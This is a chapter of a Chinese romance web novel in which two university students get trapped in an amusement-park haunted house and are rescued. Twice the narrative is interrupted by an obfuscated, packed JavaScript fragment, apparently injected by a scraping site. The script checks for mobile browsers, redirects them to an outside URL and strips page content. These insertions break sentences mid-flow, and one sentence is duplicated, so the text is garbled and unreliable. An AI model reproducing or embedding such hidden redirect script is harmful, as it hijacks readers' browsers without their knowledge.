白色的宽幅相纸从相机里慢吞吞地吐了出来,宿昀在一旁扫码付钱,金书玉接过照片,指尖捏着边缘,静静等待那片空白逐渐显色。 画面里,她站姿端正严肃,像是在拍入学身份采集照片,而身旁的宿昀正侧脸低头,薄薄的唇瓣距离她的脸颊不过几厘米,一红一白,分外明晰。 显然是捕捉到了他方才低头叮嘱的那一瞬。 凑得好近。 看着看着,金书玉竟从这薄薄的相纸上读出了几分黏稠的亲密,脸颊不由得有些发烫。 “照得怎么样学姐?”宿昀把摊主招呼走,凑了过来。 金书玉慌忙把照片揣进兜里:“还行,就那样吧。” 宿昀一头雾水:“啊?” “没事,显图还不太清楚,之后再看。” 金书玉快步往前走,生硬地转移话题,“走吧,去玩别的。” 没溜达多大会儿,两人在鬼屋门口站定。 这大概是某个古墓主题的联名活动,入口被凿成一座崩塌了一半的荒废石门,上面刻着扭曲的鬼画符,两侧立着两尊狰狞的断臂石兽。 洞口往内,黑漆漆的,什么都看不见,只感觉有一阵阵阴冷的风从深处涌出来,带着点潮湿的气味,倒真有几分古墓的感觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469541|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 原本和上次看电影一样,两人一开始都心照不宣地避开了这类项目。 但这次,宿昀看着出口处那些惊魂未定,整个人几乎挂在男友身上的女孩子,眼神飘了飘。 看了一眼,没忍住,又看了一眼。 见他站着完全不想往前走,金书玉瞥了他一眼:“想去?” “……学姐不怕?” “我怕什么,想去就走。”金书玉语气如常。 宿昀深吸一口气,试图压住心底那点露怯的苗头,挺起胸膛跟了上去。 两人交了手机,买票进场。 刚踏进几步,身后就传来铁栅栏关上的咔啦咔啦的响声,像是枯朽的器械在呻吟。眼前一片黑暗,只有半空漂浮的几盏惨绿色的浮灯,勉强照出前路。 甬道很窄,两个人并排走都有点挤,不小心碰到墙壁的时候,只觉得上面湿漉漉的,不知道是水还是别的什么。 金书玉快步往前走,步伐和平时没什么两样。宿昀跟在她旁边,努力让自己显得镇定一些。 不就是个鬼屋吗,都是假的,有什么好怕的。 走了十几步,什么都没发生。安静的甬道里只有两个人的脚步声,和远处不知道哪里传来的滴水声。 好安静。 安静到宿昀都能听见自己的心跳,间杂着金书玉时有时无的呼吸声。 “学姐。”他压低声音,试图用交谈冲淡这种窒息感。 “嗯。” “你有没有觉得……太安静了?” 金书玉没出声。宿昀偏头看她,浮灯的绿光打在她侧脸上,表情还是那副淡淡的样子。 行吧。 她压根不怕,倒显得他疑神疑鬼了。 这个念头刚冒出来,头顶忽然传来一阵“咔咔”的齿轮和绞索摩擦的声音。 宿昀猛地抬头,一具骷髅毫无预兆地从天花板坠下,空洞的眼眶正好对着他的脸,头骨和他的鼻尖直接来了个亲密接触。 “啊啊啊啊啊啊鬼啊啊啊啊——” 身体比脑子快,宿昀惨叫着往后跌撞了一大步,后背重重撞在冰凉潮湿的石墙上,激起一身冷汗。 骷髅完成了自己吓人的任务,在半空晃了晃,又嘎吱嘎吱慢慢升回去了。 “……” 能不能再不走心一点啊喂。 宿昀平复着呼吸,只觉得一张脸都丢尽了。 转头去找金书玉,想说点什么挽回一下场面,却发现她站在原地没动。 不对,不是没动。 她的手指很轻地动了一下,往前探了探,又迟疑着停住,随后不自觉地往侧边偏了一点。 动作幅度小到几乎看不见,但没逃过宿昀的眼睛。 他试探出声,“学姐?” “嗯。”声音依旧平静,但仔细听去,尾音却抖得厉害。 咦?学姐也怕? 这个认知升起的时候,宿昀忽然就不觉得丢脸了。 他上前一步,将手递了过去。 指尖触碰到她冰凉手背的刹那,金书玉像是受了惊,手指猛地收拢,紧紧地扣住了他的手,力道大得差点把宿昀也拽了过去。 指尖触碰到她冰凉手背的刹那,金书玉像是受了惊,手指猛地收拢,紧紧地扣住了他,力道大得差点把人拽过去。 宿昀脚步踉跄了一下,却根本没顾上去管。两人掌心相抵的那一瞬间,他只觉得脑中像是有列车飞驰而过,满耳呼啸。 这鬼屋,还真来对了! 23. 相拥 十指在黑暗中紧紧相扣,两个人都心照不宣,谁也没提松开,只是继续往前走。 又走了十来步,甬道豁然开朗,出现了分岔,通往同样漆黑的两条道。 左边洞口红色涂料写着“生门”,右边写着“死门”,涂料不知含有什么材质,能反射浮灯的光,在两个漆黑的门洞旁边,红得渗人。 “走哪边?”宿昀问。 金书玉左右看了一眼,果断选择:“右边。” “为什么?” “死门应该人少,路短。” 好有道理。 宿昀愣了一秒,随即在那阴森的气氛里短促地笑出了声。 这一笑,倒把周遭的阴森鬼气驱了大半。 他握紧了金书玉微凉的手,“行,听学姐的。” 进入“死门”以后,甬道比方才进来时还要狭窄,两人只能侧着身子,肩挨着肩,慢吞吞地往前挪。 距离实在很近,近到金书玉能闻到宿昀身上混着柠檬皂香和玫瑰香水的特殊气味。 虽然不理解一个大男生为什么也会喷香水,但她却莫名觉得,如果是宿昀,这么做也不奇怪。 又往深处走了几步,墙壁两侧开始出现斑驳的壁画,构图诡异夸张,仿佛是刻意做旧,颜料都剥落了大半,人脸大多模模糊糊的,只有眼珠被擦得发亮,像在死死盯着每一个来往的游客。 被这壁画盯得头皮发麻,宿昀拉着人想快速离开,结果不知触到了哪里,脚下忽然传来一声细微的脆响。 “咔哒。” 高大的身影瞬间僵住,金书玉也跟着停了下来。 回应他们的是一片寂静。 两个人站在原地,等了三秒,想象中的恐怖机关并未出现,什么都没发生。 “吓死我了,应该没事——”宿昀刚松口气,身后却突然传来沉闷而厚重的“隆隆”声。 两人同时回头,来路却已经被一道落下的巨大石门给堵死了。 “……” 这沉浸式体验,大可不必如此逼真。 “走吧。”金书玉拉了他一把,强迫自己保持理智,“前面一定有出口。” 两人加快了脚步,却发现脚下的路开始诡异地向下倾斜。 原本四五步一盏的浮灯不知从何时开始,也没了踪影,取而代之的是从深处传来的,越来越浓重的潮湿霉味。 墙壁上开始出现真正的裂缝,有液体从裂缝里渗出来,顺着墙面缓缓往下流淌。 走的时候,宿昀不知踩到了什么,脚下一滑,本能地撑了一下墙壁,掌心却触到一团软绵绵、黏糊糊又湿哒哒的东西。 “什么鬼东西?” 他猛地把手缩回来,借着金书玉手环内置电筒的微弱光线,眯着眼看了个大概:是一团肥厚的苔藓,黏糊糊的,还在往下吧嗒吧嗒地滴着脏水。 “咦……好恶心。”宿昀嫌弃地甩了甩手。 金书玉没忍住,笑了一声。 “学姐你还笑!”宿昀正要控诉,眉头却突然猛地拧紧,语气变得前所未有的严肃:“不对!” “怎么了?” 宿昀语速难得变快,“这里的机关设计如果为了营业,一定是钢架结构并做了严格的防水。但这墙壁已经有明显风化的迹象,这种潮湿程度绝对过不了年检。我们……搞不好已经走出鬼屋的预设范围,进到这山的旧坑道里了。” 金书玉心里咯噔一下:“可入口处的墙壁也是湿的?” “那不一样,那里是人工加湿的,里面墙体本身是干的,也不会长苔藓,水分不够。” 周围瞬间没了任何动静,和一开始进入鬼屋的感觉还不一样,那里虽然黑,但还是能听到远方传来的说话和走动的声音。 但这里,像是与世隔绝了一般,原本就安静的环境更加寂静无声,只有墙缝渗出的水珠撞击地面的声音,规律地在潮湿的空气中回荡,分外鲜明。 宿昀当机立断:“不能再往下,只能往回走,等救援。” 两人回到了那扇厚重的石门前,金书玉试着推了推,严丝合缝,稳如泰山,压根推不动。 她后知后觉反应过来:“会不会……死门其实本身就是死路,原本路的尽头就是这扇石门,结果那个感应器坏了,才把我们关在这儿?” “大概是。” 坐以待毙不是金书玉的性格,她试图用自己的手环往外界发消息,但这里信号几乎为零,而且距离手机太远,蓝牙早已经自动断开。 ……她发誓,下次再也不会主动上交手机了! 宿昀倒是不见有多慌张,他抬起手上的机械腕表,有节奏地按下了几个侧键,金书玉不明白他在做什么,便问出声。 “这是军用跳频表,能直连卫星发坐标。”宿昀安抚地拍了拍她的手背,“给我哥们发个信,比等游乐场的工作人员发现我们靠谱。别怕。” 见他后手充足,金书玉那颗悬着的心总算落了地。 折腾这么一趟,她有点累,顾不上干净不干净,顺着石门边一块干燥的空地,直接坐了下去。宿昀也跟着坐下,位置贴得很近。 这里本就狭窄,两个人并排坐着,肩膀挨在一起,只要有人稍微动一下,布料摩擦的细微声响都会被无限放大。 地下的空气微凉,带着潮湿的感觉,冷得钻骨。可身侧的人,身上却是温热的,少年温暖的体温隔着薄薄的衣料,一点点渗过来,存在感强得让金书玉忽视不了。 她很想再往旁边挪一点,可身旁已经是冰凉的石壁,退无可退,只好停了下来,枯坐于此。 在这个狭窄、阴冷、仿佛被世界遗忘的角落里,只有两个人的呼吸深深浅浅地交织。 为了缓解这种让人心跳加速的静谧,金书玉有一搭没一搭地找话:“宿昀,你到底是什么身份?” 宿昀看着她,笑着露出牙:“学姐,我是经管专业的大一学生,加上微信第一天不就说过了么。” 没理他刻意地转移话题,金书玉直接挑明:“一个普通的大一学生可不会带这种直连卫星的装备。” 原来是问这个,宿昀也没打算隐瞒:“我外祖家三代都从政,平时做事规矩有点多。像我们那个院里的小孩,这些装备从小都被勒令带在身上,不止这个,手机还有每件衣服都有定位装置,就是怕走丢或者出什么意外。” 金书玉沉默了。以前她觉得离自己好远好远的生活,一个与自己全然无关涉的世界,在此刻具象成了眼前的少年。 她斟酌着,似乎再找一个准确的形容:“所以,你就是那种……传说中的京圈太子爷?” “噗——咳咳!”宿昀差点被口水呛到,大笑出声,声音在漆黑的甬道里无限回荡,被扩大了好几倍,听起来像妖怪桀桀桀地怪笑。 金书玉忍住翻白眼的冲动:“别笑了。” 宿昀也发现不妥,立刻收了声,“学姐,这种土掉渣的称号你是从哪里听来的?” “言情小说里不都经常这么写么?哦对,像你们这样的,还经常手上戴着一串佛珠,一般还挺贵的,百八十万,叫什么……京圈佛子?” 宿昀憋着笑:“出家人可不能涉政啊学姐,而且大清早亡了,哪有这么多太子爷?我们这种,顶多算是一群家教严得要死、却又总想翻墙出去玩的混蛋小子,基本从小被打到大的。” 听上去,似乎和邻居家小孩长大的方式也没什么不同,先前那短短几分钟建立起来的阶层隔膜,也在金书玉心中慢慢消退。 而且,宿昀的笑声的确很有感染力,听着他的笑声,金书玉觉得自己心里紧绷的弦在缓缓松开。 精神放松下去,疲倦便袭了上来。她双臂抱膝,将头埋进膝盖里,声音因为困倦变得有些黏糊:“这里黑漆漆的,我想眯一会儿。” 宿昀相当潇洒地大张双臂,拍了拍自己的肩膀:“好嘞,位置都给您留好了,请!” 金书玉白他一眼,但也没多说什么,慢吞吞地挪了过去,竟真的找了个合适的角度,靠在他的肩窝里。 这下换成宿昀不会了。 手臂继续张着,又手酸,但收拢,又好像不合时宜。 纠结半晌,最终渴望还是盖过了恐惧,他大着胆子,轻轻地,将金书玉拢在了怀里。 “宿昀。”怀里的声音闷闷的,像是梦呓。 他低头,低声应着:“嗯?” “嗯……你生日有什么愿望?” 周围是漆黑封闭的世界,这里只坐着他和金书玉两个人。 宿昀从小基本上要什么有什么,实在是没有太高的物欲,若说现在特别想要的吧,或许是: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17474621|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “想要以后每个生日都和学姐一起过。” 怀里的人没有任何动静。 宿昀正疑惑她为什么不出声,一低头,却发现金书玉已经闭着眼,在他怀里安稳地睡着了。 …… 不知过了多久,刺眼的探照灯劈开了黑暗。 “醒醒,学姐醒醒,我们可以出去了。” 金书玉睁开眼,脑子有片刻的断层。宿昀挡在她面前遮住探照灯的强光,扶着她慢慢起身。 僵坐了几个小时,金书玉只觉得浑身发麻,走起路来像是在踩棉花。 从被千斤顶撑起的石门底下跨出时,外面已经聚满了救援队伍和园方的管理人员。 金书玉没想到竟然会惊动这么多人,甬道狭窄,人脸一张接着一张地从眼前闪过,她的眉头微微皱了起来,闭了闭眼,试图削弱自己的眩晕感。 宿昀见状,抬手抵在她额前。 宽大的手掌挡下了周围杂乱的视线和灯光,只有耳畔的低语分外明晰:“没事,不用看,拉着我走就好。” 金书玉微不可察地点点头,在混乱中,手指回握住了他的。 “两位,你们的东西!” 一个清理现场的工作人员跑过来,宿昀顺手接过,是方才的拍立得,不知什么时候从金书玉的口袋里滑出来了。 就着周围探照灯的光线,宿昀终于看清了这张金书玉一直遮遮掩掩的照片。 照片上女生的表情一本正经得堪称严肃,嘴角微微抿起,他却生生从里面品出了几分可爱来。 宿昀忍不住弯了弯唇。 这大概就是传说中的冷脸萌? 在金书玉看过来的当口,宿昀眼疾手快地把照片塞回自己口袋里,若无其事,“走吧。” 金书玉已经看到了露在外面的照片一角,但没说什么。 他们被关在鬼屋内部,已经算运营事故了,所有设施已经叫停,内部所有应急灯开放,原本漆黑一片的甬道终于有了灯光,却仍旧略显昏暗。 金书玉感觉走进来没用多久,但走出去,却仿佛过了很久很久。 久到她走到门口,阳光扑在脸上的那一瞬,竟有些不适应地眯了眯眼。 似有所感,她回头看向颓圮的鬼屋大门。那里已经被工作人员用锥桶和红线封闭了起来。 金书玉收回视线,却发现宿昀同样没往外走,就站在自己旁边。 阳光照在他脸上,他眯着眼,不知道在想什么,嘴角虽然弯着,表情却有些冷,是金书玉平时很少见到的样子。 两个人就那样站在门口,甚至没有对视,只是各发各的呆,倒也别有一番默契。 最后是金书玉率先打破沉默:“宿昀。” “怎么了学姐?” 金书玉指指他头顶:“头发翘起来了,要不处理一下?” 一路扮演着靠谱形象的宿昀瞬间“嗷”地号出了声,双手抱着脑袋,四处张望,试图寻找洗手间。 看着他忽然跳脱起来的模样,生动活泼得和园里的孩子们没什么两样,哪还有方才那副置身事外的冷漠感。 金书玉心道,这才是她认识的宿昀嘛。 连忙跑到最近的卫生间里,用水重新恢复了自己的发型,又对着镜子左照右照,保证没有任何死角,宿昀才终于欢快地跑回来,又变成那个一直学姐长学姐短的青春男大了。 出了这么一遭事,两人也没心思再玩其他项目,只是在园区里慢悠悠地逛着,一路上不断有NPC和宿昀互动,同他说生日快乐。 氛围倒是给得很足。 路过卖冰淇淋的餐车时,征询了金书玉的意见,宿昀抬着两个甜筒过来,递给金书玉一个。 “等一下,先拍照学姐!”正准备把尖尖咬掉的金书玉闻言,只能眼睁睁地看着到嘴边的甜筒远离自己,被宿昀强行摆了个造型,咔咔地接连拍了好几张。 甜筒终于重新回到了手里。 那边的宿昀却似乎还没尽兴,又继续让甜筒充当模特,前后左右都拍了个遍。 等到他终于心满意足地存好照片收起手机,打算享用冰淇淋的时候,摇摇欲坠的冰淇淋球终于彻底化开,不负众望地吧唧一下,掉在了地上。 宿昀:QAQ! “该。”金书玉舔着甜筒走开了。